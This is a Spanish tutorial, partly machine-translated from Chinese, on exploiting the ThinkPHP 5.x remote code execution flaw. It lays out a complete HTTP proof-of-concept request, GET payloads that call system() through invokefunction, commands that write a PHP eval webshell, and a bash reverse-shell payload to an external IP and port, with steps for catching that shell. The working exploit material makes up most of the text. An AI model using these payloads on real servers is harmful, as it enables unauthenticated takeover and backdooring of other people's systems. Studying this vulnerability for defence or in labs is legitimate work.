Directorio de artículos
- 1. ¿Qué es un marco?
- 2. Causas de las vulnerabilidades del marco.
- 2. Paso 3. Introducción a ThinkPHP
- 4. Características del marco Thinkphp
- 5. Ejecución remota de código Thinkphp5.0.23
- 6. Paquete de datos POC
- 7. Reproducción manual de vulnerabilidades
- 8. Recurrencia de herramientas de vulnerabilidad
- 9. Shell de extensión-rebote
1. ¿Qué es un marco?
En definitiva, alguien más te ha construido una casa pero aún no la ha decorado, necesitas decorarla en el apartamento diseñado por otros, ahorrándote la operación repetitiva de mover ladrillos.
2. Causas de las vulnerabilidades del marco.
Hay fallas ambientales en el marco, que son causadas por el uso de una versión no segura.
2. Paso 3. Introducción a ThinkPHP
------ThinkPHP se ha desarrollado hasta ahora. Las versiones principales incluyen principalmente las siguientes series: serie ThinkPHP 2, serie ThinkPHP 3, serie ThinkPHP 5 y serie ThinkPHP 6. Existen grandes diferencias entre cada serie en términos de implementación de código. y funciones. . Entre ellos, las series ThinkPHP 2 y ThinkPHP 3 han dejado de mantenerse, la serie ThinkPHP 5 es ahora la más utilizada y la serie ThinkPHP 3 también ha acumulado una gran cantidad de usuarios históricos.
------ Desde el punto de vista de los datos, la mayoría de las vulnerabilidades en la versión de la serie ThinkPHP 3 fueron expuestas en 2016/2017, mientras que las vulnerabilidades en la versión de la serie ThinkPHP 5 fueron expuestas básicamente en 2017/2018. También se han comenzado a descubrir vulnerabilidades de la serie ThinkPHP 6.
------ Dependiendo de la versión de ThinkPHP, si es la versión 5.x, puede utilizar la vulnerabilidad de ejecución remota de código de ThinkPHP 5.x. Puede ejecutar cualquier comando sin iniciar sesión y obtener la máxima autoridad del servidor.
4. Características del marco Thinkphp
- El informe de error aparecerá en el siguiente formato.
- El ícono del sitio web tiene el siguiente ícono
5. Ejecución remota de código Thinkphp5.0.23
1. Alcance del impacto de la vulnerabilidad
La versión es:
5.x < 5.1.31
Thinkphp 5.0.x<= 5.0.23
2. Causa de la vulnerabilidad
------ La razón de esta vulnerabilidad es que la capa inferior del marco ThinkPHP5 no filtra estrictamente el nombre del controlador, lo que permite a los atacantes llamar a funciones confidenciales dentro del marco ThinkPHP a través de URL, lo que lleva a la vulnerabilidad getshell.
6. Paquete de datos POC
bajo Windows
POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]= id
- Análisis de parámetros POC
- _method=__construct para poder ingresar a construct y así sobrescribir variables
- filtro[]=variables de anulación del sistema
- método = obtener Debido a que las reglas de enrutamiento de captcha están en el modo de obtención, tenemos que configurar el método para obtener la ruta de captcha.
- s=captcha Porque después de ingresar a la función ejecutiva, necesitamos cambiar al método para ejecutar la función param, y la ruta de este captcha corresponde al tipo de método, por lo que elegimos captcha
- get[]=id sobrescribe las variables
Bajo Linux
_method=__construct&filter[]=system&method=get&get[]=pwd
- OBTENER solicitud:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
- escribir al shell
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_POST[cmd]);?^> >shell.php
7. Reproducción manual de vulnerabilidades
1. Primero capture el paquete con Burp y envíe el paquete de solicitud capturado al módulo de reproducción.
2. Cambie el paquete de datos a una solicitud POST.
3. Construya el paquete de solicitud de acuerdo con el POC y luego reprodúzcalo.
Aquí usamos el comando pwd para ver la ruta.
4. Escribir en shell
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php phpinfo(); ?>" > 1.php
Así está escrito.
5. Cáscara de rebote
POC(需进行url编码)
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=/bin/bash+-c+"bash+-i+>%26+/dev/tcp/192.168.188.177/9999+0>%261"
1) Establecer seguimiento
2) Enviar paquete de solicitud de POC
3) Regrese al terminal de escucha para verificar y descubrir que el caparazón ha rebotado.
8. Recurrencia de herramientas de vulnerabilidad
1. Herramientas
2, guión
这里要注意,在windows操作时,要写入shell时,直接在cmd里面操作,控制台不会直接识别 < 、’ 、” 等特殊符号,这时就需要使用 ^ 来进行转义。
Por ejemplo, lo siguiente no se puede ejecutar cuando se escribe en el shell:
en este caso, puede usar ^ para escaparlo y poder identificarlo.
9. Shell de extensión-rebote
-
¿Qué es un caparazón inverso?
Es decir, el extremo de control monitorea un determinado puerto TCP/UDP, el extremo controlado inicia una solicitud al puerto y transfiere la entrada y salida de su línea de comando al extremo de control. El shell inverso casi corresponde a shells estándar como telnet y ssh y es esencialmente la inversión de los roles de cliente y servidor en el concepto de red. -
¿Por qué necesitas rebotar el caparazón?
Los shells de rebote generalmente se usan cuando el extremo controlado está restringido por firewalls, tiene permisos insuficientes y tiene puertos ocupados. Durante el proceso de penetración, a menudo es imposible conectarse directamente a la máquina de destino debido a restricciones de puerto. En este caso, es necesario obtener un shell interactivo a través de un shell de rebote para poder continuar más profundamente.